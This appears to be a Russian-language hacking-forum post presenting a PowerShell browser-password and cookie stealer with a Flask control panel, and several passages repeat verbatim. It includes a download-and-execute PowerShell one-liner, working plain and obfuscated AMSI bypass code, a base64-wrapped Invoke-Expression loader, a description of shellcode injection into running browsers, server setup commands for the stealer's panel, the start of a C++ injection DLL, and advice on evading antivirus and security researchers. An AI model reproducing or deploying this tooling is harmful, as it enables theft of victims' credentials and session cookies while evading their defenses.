- Регистрация
- 19.11.2023
- Сообщения
- 88
- Розыгрыши
- 0
- Реакции
- 21
Dezzeraldo не предоставил(а) никакой дополнительной информации.
Всем привет. Представляю вашему вниманию стиллер, написанный на powershell. Все подробности ниже.
PS. Забрасывать проект после окончания конкурса не планирую, так что можете писать в эту тему, если возникнут какие-то вопросы или проблемы. В меру своих способностей постараюсь помочь) Благодарю за внимание.
by: Crocuta
-Сбор паролей Firefox based и Chromium based браузеров
-Сам стиллер почти полностью написан на powershell. Исключение - это DLL, которая будет инжектится в процесс хрома для анлока куки файлов. О самом анлоке в следующем пункте. Также есть небольшая вставка C# кода для импорта rstrtmgr.dll, но тут меня можно простить, тк pwsh это делать просто не умеет)
-Разлок куки файлов при запущенном Хроме/Эдже и тд. Процесс браузера при этом не убивается, все происходит без лишнего палева.
-DLL to shellcode конвертер. В паблике реализацию этого на powershell не видел. Болтается одна на гитхабе, но там это код C# завернутый в pwsh. Здесь же все написано на самом pwsh. Использовать этот функционал будем для вышеупомянутого анлока куки файлов. Берется DLL и аргументы к ней, все конвертится в шеллкод и инжектится в процесс браузера. Техника самого инжекта не моя, но конкретно на ее авторство я и не претендую.
-Сервер-сайд расшифровка паролей и куков, за исключением старых версий хрома, там пароли расшифровываются с помощью DPAPI, а это делать лучше на самом пк. В остальном все сервер-сайд, дабы зря не триггерить аверы. Расшифровка хрома выполняется с помощью python библиотек. Расшифровка фф с помощью NSS библиотек, благо их можно установить на nix сервера одной командой.
-Sqlite ридер на powershell для чтения куков и логиндаты chromium based браузеров.
-Добавлены некоторые фишки по обходу AMSI. Они немного костыльные, но рабочие. Почему костыльные? Да потому что, чтобы спасаться от детектов без костылей, то нужно ультимативное решение - полиморфный обфускатор. Его нет по нескольким причинам: писать его несколько месяцев, если не год, а если заказывать, то обойдется он в охулион, поэтому имеем, что имеем) Да и вообще, это уже было бы отдельным проектом, как бы) Но повторюсь, текущей функциональности для решения наших задач вполне хватает.
-Панель написана на python, фреймворк Flask, в качестве WSGI сервера используется gunicorn.
-Сам стиллер почти полностью написан на powershell. Исключение - это DLL, которая будет инжектится в процесс хрома для анлока куки файлов. О самом анлоке в следующем пункте. Также есть небольшая вставка C# кода для импорта rstrtmgr.dll, но тут меня можно простить, тк pwsh это делать просто не умеет)
-Разлок куки файлов при запущенном Хроме/Эдже и тд. Процесс браузера при этом не убивается, все происходит без лишнего палева.
-DLL to shellcode конвертер. В паблике реализацию этого на powershell не видел. Болтается одна на гитхабе, но там это код C# завернутый в pwsh. Здесь же все написано на самом pwsh. Использовать этот функционал будем для вышеупомянутого анлока куки файлов. Берется DLL и аргументы к ней, все конвертится в шеллкод и инжектится в процесс браузера. Техника самого инжекта не моя, но конкретно на ее авторство я и не претендую.
-Сервер-сайд расшифровка паролей и куков, за исключением старых версий хрома, там пароли расшифровываются с помощью DPAPI, а это делать лучше на самом пк. В остальном все сервер-сайд, дабы зря не триггерить аверы. Расшифровка хрома выполняется с помощью python библиотек. Расшифровка фф с помощью NSS библиотек, благо их можно установить на nix сервера одной командой.
-Sqlite ридер на powershell для чтения куков и логиндаты chromium based браузеров.
-Добавлены некоторые фишки по обходу AMSI. Они немного костыльные, но рабочие. Почему костыльные? Да потому что, чтобы спасаться от детектов без костылей, то нужно ультимативное решение - полиморфный обфускатор. Его нет по нескольким причинам: писать его несколько месяцев, если не год, а если заказывать, то обойдется он в охулион, поэтому имеем, что имеем) Да и вообще, это уже было бы отдельным проектом, как бы) Но повторюсь, текущей функциональности для решения наших задач вполне хватает.
-Панель написана на python, фреймворк Flask, в качестве WSGI сервера используется gunicorn.
Понимаю, тема холиварная, на форуме написана куча постов как и в защиту пвш, так и против него . Но я отношу себя к тем, кто считает, что несмотря на некоторые минусы, powershell почти идеален в плане относительной лекгости ухода от детектов. Запустил процесс powershell, обошел AMSI и делай почти что хочешь, и никакой крипт не нужен. И это все при поддержке .NET. Конечно, соглашусь, что для каждого продукта надо смотреть отдельно, но для стиллера пвш подойдет просто отлично.
Если даже не разбираетесь в кодинге, то все равно рекомендую прочитать данный раздел, для лучшего понимания, что и как работает, это никогда не повредит.
Начнем с базы) Powershell это скриптовый язык и формат ps1 не является исполняемым. Поэтому классикой в pwsh малвари является ее запуск с помощью cmd команд, эти cmd команды будут уже вшиваться в другие исполняемые форматы (exe, vbs, js и что там еще есть). Да, вроде как есть другие способы запуска, но в подавляющем большинстве случаев происходит все именно так. Если же льете инсталлы с лоадера, то проливщику также нужно будет дать эту cmd (или pwsh, зависит от лоадера) команду. Но в этом подходе есть одна проблема: в cmd команду не удастся впихнуть код всего стиллера, тк есть ограничение по количеству символов, их должно быть не более 8191. Поэтому используются так называемые oneliner'ы, one и line, однострочники типа) Как правило в ванлайнере все сводится к скачиванию тела малвари и его исполнению. Админка будет выдавать вам поморфленные ванлайнеры, но в чистом виде в нашем случае они будут выглядеть следующим образом:
cmd:
pwsh:
Здесь как раз происходит то, что я описал выше. Вебклиент скачивает стиллер и запускает его с помощью функции Invoke-Expression это что-то типа eval'а в python или js.
Теперь пройдемся по стиллеру. Сорцы расписывать не буду, тк можете их посмотреть самостоятельно, объясню тезисно логику исполнения.
1. Функцией Get-PCInformation собирается информация о железе, юзернейм, таймзона и тд, здесь ничего особого, типичная функциональность для любого стиллера.
2. Запускается функция Get-Browsers,
2.1. Здесь сначала рекурсивно в папке %LOCALAPPDATA% ищутся профили chromium based браузеров, для каждого профиля в цикле for запускается сбор данных.
2.1.1. На этом этапе все начинается с получения ключа для декрипта паролей и куков. Сам мастеркей лежит в зашифрованном виде в файле C:/путь/до/папки/браузера/Local State, расшифровываем его с помощью DPAPI.
2.2.2. Читаем файл с логиндатой (C:/путь/до/профиля/Login Data). Если браузер запущен, то файл лочится для чтения, но здесь помогает простое копирование, так что копируем и читаем уже копию. Парсим БД Sqlite ридером (функция Dump-DB), смотрим значения зашифрованных паролей. Если пароль начинается с байтов @(118,49,48), то пошифрован он был относительно новой версией хрома и расшифровать его можно будет на стороне сервера, используя полученный ранее мастеркей. В этом случае просто записываем все значения в массив. В ином случае пароль расшифровывается так же с помощью DPAPI и кладется в результат уже в открытом виде.
2.2.3. Читаем файл куки (C:/путь/до/профиля/Network/Cookies или C:/путь/до/профиля/Cookies). Все, включая парсинг и расшифровку, делается по аналогии с логиндатой. Единственное, но важное исключение состоит в том, что с недавних времен chromium based браузеры лочат куки файл и его не удается даже скопировать. Происходит это потому, что браузер открывает куки файл с аргументом FILE_SHARE_NONE. Анлок без админ прав можно выполнить только из процесса, который открывал файл, то есть, из процесса браузера. Можно, конечно, убить процесс, но поступим аккуратнее, попробуем разлочить файл. Для этого вызывается функция Unlock-File, в ней нужно найти PID процесса (функция Get-FileLockProcess) и заинжектить заранее подготовленный шеллкод. Чекаем разрядность процесса, и качаем с панели нужную DLL, вызываем функцию ConvertTo-Shellcode, она сунет в длл путь к файлу куки и вернет шеллкод. Его в функции Invoke-Shellcode заинжектим в процесс хрома. Ждем 10 секунд, пока шеллкод прошуршит и пробуем прочитать файл. Вуаля, все готово)
2.2.4. Возвращаем всю полученную информацию и кидаем в массив. Все это производим с каждым профилем.
2.2. Далее ищем все профили Firefox based браузеров и так же каждый профиль прокручиваем в цикле.
2.2.1. Тут абсолютно вся расшифровка происходит на стороне сервера NSS библиотеками. Им нужно подать на вход папку с данными, поэтому с парсингом файлов здесь голову себе не морочим, а просто читаем в профиле файлы key4.db, cert9.db, logins.json, cookies.sqlite. Этого будет достаточно. Файлы файрфоксом лочатся, но как и в случае с файлом логиндаты хрома, помогает простое копирование.
3. Перегоняем полученные данные в JSON формат. Да, это пара сотен строк кода, но зато на стороне сервера python'ом это прекрасно парсится и складывается в БД.
4. Шифруем данные обычным AES'ом. Можно и без этого, но лишним не будет. Соединение же не защищено, да и может какой-то авер будет сниффать трафик.
5. Отправляем на сервер. Сервер все получает, парсит, расшифровывает, что надо, не расшифровывает, что не надо, и складывает в бд.
Начнем с базы) Powershell это скриптовый язык и формат ps1 не является исполняемым. Поэтому классикой в pwsh малвари является ее запуск с помощью cmd команд, эти cmd команды будут уже вшиваться в другие исполняемые форматы (exe, vbs, js и что там еще есть). Да, вроде как есть другие способы запуска, но в подавляющем большинстве случаев происходит все именно так. Если же льете инсталлы с лоадера, то проливщику также нужно будет дать эту cmd (или pwsh, зависит от лоадера) команду. Но в этом подходе есть одна проблема: в cmd команду не удастся впихнуть код всего стиллера, тк есть ограничение по количеству символов, их должно быть не более 8191. Поэтому используются так называемые oneliner'ы, one и line, однострочники типа) Как правило в ванлайнере все сводится к скачиванию тела малвари и его исполнению. Админка будет выдавать вам поморфленные ванлайнеры, но в чистом виде в нашем случае они будут выглядеть следующим образом:
cmd:
powershell -ep bypass "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://127.0.0.1:5000/st/')"
pwsh:
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://127.0.0.1:5000/st/')
Здесь как раз происходит то, что я описал выше. Вебклиент скачивает стиллер и запускает его с помощью функции Invoke-Expression это что-то типа eval'а в python или js.
Теперь пройдемся по стиллеру. Сорцы расписывать не буду, тк можете их посмотреть самостоятельно, объясню тезисно логику исполнения.
1. Функцией Get-PCInformation собирается информация о железе, юзернейм, таймзона и тд, здесь ничего особого, типичная функциональность для любого стиллера.
2. Запускается функция Get-Browsers,
2.1. Здесь сначала рекурсивно в папке %LOCALAPPDATA% ищутся профили chromium based браузеров, для каждого профиля в цикле for запускается сбор данных.
2.1.1. На этом этапе все начинается с получения ключа для декрипта паролей и куков. Сам мастеркей лежит в зашифрованном виде в файле C:/путь/до/папки/браузера/Local State, расшифровываем его с помощью DPAPI.
2.2.2. Читаем файл с логиндатой (C:/путь/до/профиля/Login Data). Если браузер запущен, то файл лочится для чтения, но здесь помогает простое копирование, так что копируем и читаем уже копию. Парсим БД Sqlite ридером (функция Dump-DB), смотрим значения зашифрованных паролей. Если пароль начинается с байтов @(118,49,48), то пошифрован он был относительно новой версией хрома и расшифровать его можно будет на стороне сервера, используя полученный ранее мастеркей. В этом случае просто записываем все значения в массив. В ином случае пароль расшифровывается так же с помощью DPAPI и кладется в результат уже в открытом виде.
2.2.3. Читаем файл куки (C:/путь/до/профиля/Network/Cookies или C:/путь/до/профиля/Cookies). Все, включая парсинг и расшифровку, делается по аналогии с логиндатой. Единственное, но важное исключение состоит в том, что с недавних времен chromium based браузеры лочат куки файл и его не удается даже скопировать. Происходит это потому, что браузер открывает куки файл с аргументом FILE_SHARE_NONE. Анлок без админ прав можно выполнить только из процесса, который открывал файл, то есть, из процесса браузера. Можно, конечно, убить процесс, но поступим аккуратнее, попробуем разлочить файл. Для этого вызывается функция Unlock-File, в ней нужно найти PID процесса (функция Get-FileLockProcess) и заинжектить заранее подготовленный шеллкод. Чекаем разрядность процесса, и качаем с панели нужную DLL, вызываем функцию ConvertTo-Shellcode, она сунет в длл путь к файлу куки и вернет шеллкод. Его в функции Invoke-Shellcode заинжектим в процесс хрома. Ждем 10 секунд, пока шеллкод прошуршит и пробуем прочитать файл. Вуаля, все готово)
2.2.4. Возвращаем всю полученную информацию и кидаем в массив. Все это производим с каждым профилем.
2.2. Далее ищем все профили Firefox based браузеров и так же каждый профиль прокручиваем в цикле.
2.2.1. Тут абсолютно вся расшифровка происходит на стороне сервера NSS библиотеками. Им нужно подать на вход папку с данными, поэтому с парсингом файлов здесь голову себе не морочим, а просто читаем в профиле файлы key4.db, cert9.db, logins.json, cookies.sqlite. Этого будет достаточно. Файлы файрфоксом лочатся, но как и в случае с файлом логиндаты хрома, помогает простое копирование.
3. Перегоняем полученные данные в JSON формат. Да, это пара сотен строк кода, но зато на стороне сервера python'ом это прекрасно парсится и складывается в БД.
4. Шифруем данные обычным AES'ом. Можно и без этого, но лишним не будет. Соединение же не защищено, да и может какой-то авер будет сниффать трафик.
5. Отправляем на сервер. Сервер все получает, парсит, расшифровывает, что надо, не расшифровывает, что не надо, и складывает в бд.
Об этом немало написано и тут на форуме и вообще в интернетах, принципиально нового я здесь ничего не скажу, но все же для тех, кто только входит в эту тему, пройдемся по основным моментам. Те, кто об этом всем знает, можете пропустить этот раздел, просто скажу, что панель обходит амси стандартными техниками)
И повторюсь, в начале я уже писал, что такие обходы это не универсальное решение, но в нашей ситуации рабочее. Если хотите универсальное, то нужен хороший обфускатор. Те, что с гитхаба, не работают. Поэтому обходимся минимальными средствами)
Итак, что же такое AMSI. Это аббревиатура от Antimalware Scan Interface. В этот интерфейс пвш и другие скриптовые языки шлют все скрипты и команды, подающиеся им. Его же слушает и авер, и если он видит в скрипте/команде что-то подозрительное, то пвш не может это исполнить. По задумке MS это должно сильно помогать ловить вредоносный код на скриптовых языках, но в случае с powershell это лекго обходится.
Базово обход выглядит так:
Есть еще один, но в нем больше кода, так что, остановимся на этом) Здесь с помощью рефлексии .NET мы берем класс System.Management.Automation.AmsiUtils и переписываем в нем свойство amsiInitFailed, устанавливая значение true. Как понятно из названия, в этом свойстве отображается состояние сессии амси, зафейлилась ли она при инициализации или нет. Также в этом классе есть метод ScanContent, отсылающий содержимое скрипта на сканирование аверу. Но если он видит, что amsiInitFailed установлен в true, то ничего никуда не отсылается. Тупо? Ну да, но это же майкрософт, так что нечему удивляться.
Пробуем исполнить вышеуказанный код, но он не запускается, ловим ошибку со следующим содержимым:
Посмотреть вложение 78816
Все дело в том, что в самом обходе амси содержатся сигнатуры, которые и ловит авер. Выполняем скрипт по частям, видим, что эти сигнатуры это 'System.Management.Automation.AmsiUtils', 'amsiInitFailed' и 'SetValue', их нам и нужно будет сбить, немного поморфив, здесь работают даже самые примитивные техники обфускации строк. Вот пример конструкции, которую можно получить, разбавив сигнатуры рандомными спецсимволами, и вызвав при исполнении replace()
Исполняем
Посмотреть вложение 78817
Все ок, ошибок нет, амси отключен.
Реплейсы здесь показаны как пример, на самом деле, можно придумать кучу всего. Например, перегнать все в char array, а при исполнении сделать обратно строкой. Или воспользоваться сплитами и так далее. Тут набор техник почти неограничен.
Теперь, обойдя амси, с помощью того же Invoke-Expression можно запустить, по сути, любой код.
Пока выходим из этой сессии пвш и открываем новую, амси пока не отключаем. Для наглядности возьмем мини скрипт, в котором заведомо есть сигнатура. Пусть это будет
Пробуем запустить, видим, что амси нас сбрил. Прописываем обход амси, пробуем запустить еще раз, на этот раз все ок.
Посмотреть вложение 78818
Далее нам нужно собрать в один скрипт и обход амси, и запуск команды с сигнатурой через функцию Invoke-Expression, о которой говорил ранее. Но тут возникает проблема: в скрипте мы же уже тащим с собой сигнатуру, а обход амси нам только предстоит, спалиться можно еще перед запуском. Тут тоже решение предельно простое, ту часть, которую мы будем засовывать в Invoke-Expression мы так же можем поморфить или накрыть энкодингом или каким-то простым шифрованием. К примеру, создадим из этого кода base64 строку, а в самом скрипте пвш перед исполнением получим из нее уже нормальный код. В итоге получившийся скрипт будет выглядеть так:
Опять же, base64 энкодинг здесь приведен просто в качестве примера, вместо него можно засунуть что угодно, главное сбить сигнатуры еще на подходе. А что пойдет в Invoke-Expression уже неважно, тк амси будет отключен.
Примерно так же панель отдает ванлайнеру тело стиллера, оно как раз вшито в эту конструкцию вместо нашего тестового скрипта. Делается все посредством python'а и jinja шаблонов. Увидеть результат вы можете в админке на странице builds или покопавшись в сорцах. Также панель немного морфит сами ванлайнеры в тех местах, на которые потенциально может заагриться авер. Это строки 'System.Net.WebClient', 'DownloadString' и IP адрес панели.
И повторюсь, в начале я уже писал, что такие обходы это не универсальное решение, но в нашей ситуации рабочее. Если хотите универсальное, то нужен хороший обфускатор. Те, что с гитхаба, не работают. Поэтому обходимся минимальными средствами)
Итак, что же такое AMSI. Это аббревиатура от Antimalware Scan Interface. В этот интерфейс пвш и другие скриптовые языки шлют все скрипты и команды, подающиеся им. Его же слушает и авер, и если он видит в скрипте/команде что-то подозрительное, то пвш не может это исполнить. По задумке MS это должно сильно помогать ловить вредоносный код на скриптовых языках, но в случае с powershell это лекго обходится.
Базово обход выглядит так:
Код:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
Пробуем исполнить вышеуказанный код, но он не запускается, ловим ошибку со следующим содержимым:
Посмотреть вложение 78816
Все дело в том, что в самом обходе амси содержатся сигнатуры, которые и ловит авер. Выполняем скрипт по частям, видим, что эти сигнатуры это 'System.Management.Automation.AmsiUtils', 'amsiInitFailed' и 'SetValue', их нам и нужно будет сбить, немного поморфив, здесь работают даже самые примитивные техники обфускации строк. Вот пример конструкции, которую можно получить, разбавив сигнатуры рандомными спецсимволами, и вызвав при исполнении replace()
Код:
[ref].Assembly.GetType('S*y!s*t*e*m!.!M!a$n!a*g!e*m*e!n!t$.$A*u*t!o!m*a*t$i*o*n!.!A!m*s*i!U*t$i*l!s*'.replace('$','').replace('!','').replace('*','')).GetField('a!m=s-i-I=n=i-t-F=a-i!l!e-d='.replace('!','').replace('=','').replace('-',''), 'NonPublic,Static').('S)e%t%V)a}l%u%e}'.replace('}','').replace(')','').replace('%',''))($null, $true)
Посмотреть вложение 78817
Все ок, ошибок нет, амси отключен.
Реплейсы здесь показаны как пример, на самом деле, можно придумать кучу всего. Например, перегнать все в char array, а при исполнении сделать обратно строкой. Или воспользоваться сплитами и так далее. Тут набор техник почти неограничен.
Теперь, обойдя амси, с помощью того же Invoke-Expression можно запустить, по сути, любой код.
Пока выходим из этой сессии пвш и открываем новую, амси пока не отключаем. Для наглядности возьмем мини скрипт, в котором заведомо есть сигнатура. Пусть это будет
Код:
Write-Host 'Invoke-Shellcode'
Посмотреть вложение 78818
Далее нам нужно собрать в один скрипт и обход амси, и запуск команды с сигнатурой через функцию Invoke-Expression, о которой говорил ранее. Но тут возникает проблема: в скрипте мы же уже тащим с собой сигнатуру, а обход амси нам только предстоит, спалиться можно еще перед запуском. Тут тоже решение предельно простое, ту часть, которую мы будем засовывать в Invoke-Expression мы так же можем поморфить или накрыть энкодингом или каким-то простым шифрованием. К примеру, создадим из этого кода base64 строку, а в самом скрипте пвш перед исполнением получим из нее уже нормальный код. В итоге получившийся скрипт будет выглядеть так:
Код:
[ref].Assembly.GetType('S*y!s*t*e*m!.!M!a$n!a*g!e*m*e!n!t$.$A*u*t!o!m*a*t$i*o*n!.!A!m*s*i!U*t$i*l!s*'.replace('$','').replace('!','').replace('*','')).GetField('a!m=s-i-I=n=i-t-F=a-i!l!e-d='.replace('!','').replace('=','').replace('-',''), 'NonPublic,Static').('S)e%t%V)a}l%u%e}'.replace('}','').replace(')','').replace('%',''))($null, $true)
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('V3JpdGUtSG9zdCAnSW52b2tlLVNoZWxsY29kZSc=')))
Примерно так же панель отдает ванлайнеру тело стиллера, оно как раз вшито в эту конструкцию вместо нашего тестового скрипта. Делается все посредством python'а и jinja шаблонов. Увидеть результат вы можете в админке на странице builds или покопавшись в сорцах. Также панель немного морфит сами ванлайнеры в тех местах, на которые потенциально может заагриться авер. Это строки 'System.Net.WebClient', 'DownloadString' и IP адрес панели.
Страница со списком логов
Посмотреть вложение 78895
Подробная информация
Посмотреть вложение 78896
Страница с билдами. Здесь нам обычно будут нужны CMD и PWSH oneliner'ы. Нужно просто скопировать их отсюда. При каждом обновлении страницы они будут немного отличаться. Взависимости от способа распространения может пригодиться AMSI Wrapped Stealer, но тут нужно точно знать, что делаете. Plaintext Stealer здесь добавлен исключительно для наглядности, что называется for testing purposes only. НИКОГДА НЕ ИСПОЛЬЗУЙТЕ ЕГО В БОЕВОМ РЕЖИМЕ!
Посмотреть вложение 78897
Страница Settings. Тут обязательно указываем IP адрес панели. Без этого стиллер работать не будет. Именно этот IP будет вшиваться в ванлайнеры и тело стиллера. Также есть галочка ON/OFF Stealer. Если состояние OFF, то ванлайнерам тело стиллера отдаваться не будет, вместо этого вернется ошибка 500. Для чего это сделано. Когда вы не ожидаете появления новых логов, можете выключить стиллер, так скрипт не будет торчать наружу, что убережет нас от любопытных инфобез исследователей. Включили стиллер, сделали пролив, выключили стиллер. Панель сама жива, с логами работать можно, но новые не добавятся. Главное, не забыть включить перед следующим проливом) В принципе, можно с этим не морочиться, по дефолту все и так включено, но если выключать, когда не нужно, софт в теории проживет дольше.
Посмотреть вложение 78898
Посмотреть вложение 78895
Подробная информация
Посмотреть вложение 78896
Страница с билдами. Здесь нам обычно будут нужны CMD и PWSH oneliner'ы. Нужно просто скопировать их отсюда. При каждом обновлении страницы они будут немного отличаться. Взависимости от способа распространения может пригодиться AMSI Wrapped Stealer, но тут нужно точно знать, что делаете. Plaintext Stealer здесь добавлен исключительно для наглядности, что называется for testing purposes only. НИКОГДА НЕ ИСПОЛЬЗУЙТЕ ЕГО В БОЕВОМ РЕЖИМЕ!
Посмотреть вложение 78897
Страница Settings. Тут обязательно указываем IP адрес панели. Без этого стиллер работать не будет. Именно этот IP будет вшиваться в ванлайнеры и тело стиллера. Также есть галочка ON/OFF Stealer. Если состояние OFF, то ванлайнерам тело стиллера отдаваться не будет, вместо этого вернется ошибка 500. Для чего это сделано. Когда вы не ожидаете появления новых логов, можете выключить стиллер, так скрипт не будет торчать наружу, что убережет нас от любопытных инфобез исследователей. Включили стиллер, сделали пролив, выключили стиллер. Панель сама жива, с логами работать можно, но новые не добавятся. Главное, не забыть включить перед следующим проливом) В принципе, можно с этим не морочиться, по дефолту все и так включено, но если выключать, когда не нужно, софт в теории проживет дольше.
Посмотреть вложение 78898
Берем обычный Linux VPS, заливаем туда архив. Дальнейшая инструкция сделана для Debian 11, но в принципе поднять можно на любом линуксе. Только команды, разумеется, могут отличаться.
Начинаем с апгрейда и установки необходимых пакетов
Устанавливаем и настраиваем MongoDB (если у вас не дебиан 11, то репозитории могут отличаться. посмотрите актуальный на Для просмотра ссылки Войди или Зарегистрируйся)
Смотрим, все ли ок, запуская команду
Должен быть примерно такой вывод:
Посмотреть вложение 78899
Порт монго по дефолту не торчит наружу, поэтому этот пункт не то чтобы обязательный, но если перфекционизм не дает покоя, то для большей безопасности можете запаролить БД.
Вот неплохой гайд на эту тему
Для просмотра ссылки Войдиили ЗарегистрируйсяТолько имейте в виду, что в файлах run_debug и gunicorn.conf.py вам будет необходимо поменять env переменную FLASK_MONGO_URI, добавив туда данные авторизации.
Распаковываем архив с панелью
Переходим в папку с сорцами
Устанавливаем необходимые python библиотеки
Для запуска в продакшн моде в качестве WSGI сервера будем использовать gunicorn. Он уже был установлен нами с помощью pip'a.
Запускаем:
Открываем браузер, переходим по ссылке 1.1.1.1:5000/admin/ (заменяем ip адрес на ваш)
Тут нас встретит окно с созданием админского юзера. Создаем его.
Уже писал об этом, когда описывал панель, но повторюсь. Идем в settings и задаем ip адрес панели в соответствующей строке. Он будет вшит в ванлайнеры и стиллер, именно туда он и будет стучать.
Для тестов достаточно и этого, но для постоянной работы нужно сделать еще один момент. Мы запускали сервер командой из консоли, следовательно, если мы из консоли выйдем, то и сервер оффнется, нам это не нужно, поэтому на нашем впс нужно запускать панель как сервис, грубо говоря, как фоновый процесс с автозапуском после ребутов и тд.
Создаем файл/etc/systemd/system/stealer.service
В него пишем следущее:
В разделе Service меняем значение User на свое.
Также в WorkingDirectory указываем путь к папке с панелью.
В ExecStart меняем путь к gunicorn'y на свой (у меня это /usr/local/bin/gunicorn). Узнать его можно выполнив команду
Сохраняем файл и выполняем команды:
Убеждаемся, что сервис запустился
Если видим следующий вывод, то все ок, сервис запущен.
Посмотреть вложение 78900
Начинаем с апгрейда и установки необходимых пакетов
Код:
apt-get update && apt-get upgrade -y
apt-get install libnss3-dev libnss3 python3 python3-pip unzip gnupg curl p7zip-full -y
Код:
curl -fsSL https://www.mongodb.org/static/pgp/server-7.0.asc | \
gpg -o /usr/share/keyrings/mongodb-server-7.0.gpg \
--dearmor
echo "deb [ signed-by=/usr/share/keyrings/mongodb-server-7.0.gpg ] http://repo.mongodb.org/apt/debian bullseye/mongodb-org/7.0 main" | tee /etc/apt/sources.list.d/mongodb-org-7.0.list
apt-get update
apt-get install mongodb-org -y
systemctl enable mongod
systemctl start mongod
mkdir -p /data/db
chown -R mongodb:mongodb /data/db
chown -R mongodb:mongodb /var/lib/mongodb
chown mongodb:mongodb /tmp/mongodb-27017.sock
systemctl restart mongod
Код:
systemctl status mongod
Посмотреть вложение 78899
Порт монго по дефолту не торчит наружу, поэтому этот пункт не то чтобы обязательный, но если перфекционизм не дает покоя, то для большей безопасности можете запаролить БД.
Вот неплохой гайд на эту тему
Для просмотра ссылки Войди
Распаковываем архив с панелью
Код:
7z x panel.zip
Код:
cd panel
Код:
pip3 install -r requirements.txt
Запускаем:
Код:
gunicorn --bind 0.0.0.0:5000 --workers=3 --timeout 240 wsgi:app
Тут нас встретит окно с созданием админского юзера. Создаем его.
Уже писал об этом, когда описывал панель, но повторюсь. Идем в settings и задаем ip адрес панели в соответствующей строке. Он будет вшит в ванлайнеры и стиллер, именно туда он и будет стучать.
Для тестов достаточно и этого, но для постоянной работы нужно сделать еще один момент. Мы запускали сервер командой из консоли, следовательно, если мы из консоли выйдем, то и сервер оффнется, нам это не нужно, поэтому на нашем впс нужно запускать панель как сервис, грубо говоря, как фоновый процесс с автозапуском после ребутов и тд.
Создаем файл/etc/systemd/system/stealer.service
В него пишем следущее:
Код:
[Unit]
Description=Gunicorn instance to serve stealer
After=network.target
[Service]
User=root
Group=www-data
WorkingDirectory=/root/panel
ExecStart=/usr/local/bin/gunicorn --workers 3 --timeout 240 --bind 0.0.0.0:5000 wsgi:app
[Install]
WantedBy=multi-user.target
Также в WorkingDirectory указываем путь к папке с панелью.
В ExecStart меняем путь к gunicorn'y на свой (у меня это /usr/local/bin/gunicorn). Узнать его можно выполнив команду
which gunicorn
Сохраняем файл и выполняем команды:
Код:
systemctl start stealer
systemctl enable stealer
Код:
systemctl status stealer
Посмотреть вложение 78900
Под каждого универсальную малварь не напишешь, поэтому в ходе эксплуатации вы можете столкнуться с рядом проблем, поэтому попробую изложить, что в идеале каждому придется сделать под себя. Пригодится очень базовое умение кодить, ну или желание это умение приобрести по ходу дела. Пройдемся по нюансам:
-Предоставленный обход AMSI и ванлайнеры рано или поздно удрочится. Так бы проработало месяцами, но учитывая, что софт выходит в паблик, то это вопрос пары дней, поэтому нужны будут свои правки. Вряд ли это будет сложно, но все же, надо знать, что и где подправлять. Общую информацию по AMSI я дал, каждый может взять сорцы и внести необходимые изменения, добавить свои техники морфинга строк, может быть их как то скомбинировать и тд. Чем уникальнее ваш способ будет, тем лучше. Но сорцы у вас есть, так что все в ваших руках)
-DLL, которые будем инжектить в браузеры для анлока куков задрочятся еще раньше, тк сразу после публикации некоторые побегут заливать их на VT, да и возможно какие-нибудь вайтхэты приложат к этому руку) Тут не спасет обход AMSI, тк он помогает от сигнатурных детектов, а если будете из под процесса powershell писать в память другого процесса грязь, то любой авер это спалит. Поэтому идеальным вариантом для каждого тут было бы поморфить или разбавить мусорным кодом их сорц и скомпилировать по новой. Такая уникальная DLL вам прослужит долго. Как вариант, можно криптануть их с уникальным стабом, но это дорого, и вопрос, так ли стаб будет уникален. Поэтому лучше ручками) На эти темы есть пара статей на форуме, да и в гугле инфы должно быть полно.
Но пока, на момент публикации, все работает из коробки, так что, велком)
И еще один важный момент:
Перед использованием в боевом режиме удалите или закоментируйте все строки с командой Write-Host в стиллере. Они сделаны для наглядности, для работы в проде они не нужны, более того, если скрипт будет запускаться исполняемым форматом, то в этих местах он может фейлиться, т.к. не будет иметь доступа к консоли.
-Предоставленный обход AMSI и ванлайнеры рано или поздно удрочится. Так бы проработало месяцами, но учитывая, что софт выходит в паблик, то это вопрос пары дней, поэтому нужны будут свои правки. Вряд ли это будет сложно, но все же, надо знать, что и где подправлять. Общую информацию по AMSI я дал, каждый может взять сорцы и внести необходимые изменения, добавить свои техники морфинга строк, может быть их как то скомбинировать и тд. Чем уникальнее ваш способ будет, тем лучше. Но сорцы у вас есть, так что все в ваших руках)
-DLL, которые будем инжектить в браузеры для анлока куков задрочятся еще раньше, тк сразу после публикации некоторые побегут заливать их на VT, да и возможно какие-нибудь вайтхэты приложат к этому руку) Тут не спасет обход AMSI, тк он помогает от сигнатурных детектов, а если будете из под процесса powershell писать в память другого процесса грязь, то любой авер это спалит. Поэтому идеальным вариантом для каждого тут было бы поморфить или разбавить мусорным кодом их сорц и скомпилировать по новой. Такая уникальная DLL вам прослужит долго. Как вариант, можно криптануть их с уникальным стабом, но это дорого, и вопрос, так ли стаб будет уникален. Поэтому лучше ручками) На эти темы есть пара статей на форуме, да и в гугле инфы должно быть полно.
Но пока, на момент публикации, все работает из коробки, так что, велком)
И еще один важный момент:
Перед использованием в боевом режиме удалите или закоментируйте все строки с командой Write-Host в стиллере. Они сделаны для наглядности, для работы в проде они не нужны, более того, если скрипт будет запускаться исполняемым форматом, то в этих местах он может фейлиться, т.к. не будет иметь доступа к консоли.
Линк на скачивание панели:
Сорц DLL для анлока куки файла:
Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.
Сорц DLL для анлока куки файла:
Код:
#include "pch.h"
#include <Windows.h>
#include <iostream>
#include <strsafe.h>
#include <psapi.h>
#include <tchar.h>
#include <process.h>
#include <winternl.h>
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 16
#define ObjectTypeInformation 2
#define ObjectTypeInformationSize 1024 * 1024 * 16
#define NT_SUCCESS(x) ((signed int)(x) >= 0)
#define BUFSIZE 512
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 16
#define ObjectTypeInformation 2
#define ObjectTypeInformationSize 1024 * 1024 * 16
#define NT_SUCCESS(x) ((signed int)(x) >= 0)
#define BUFSIZE 512
using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
ULONG SystemInformationClass,
PVOID SystemInformation,
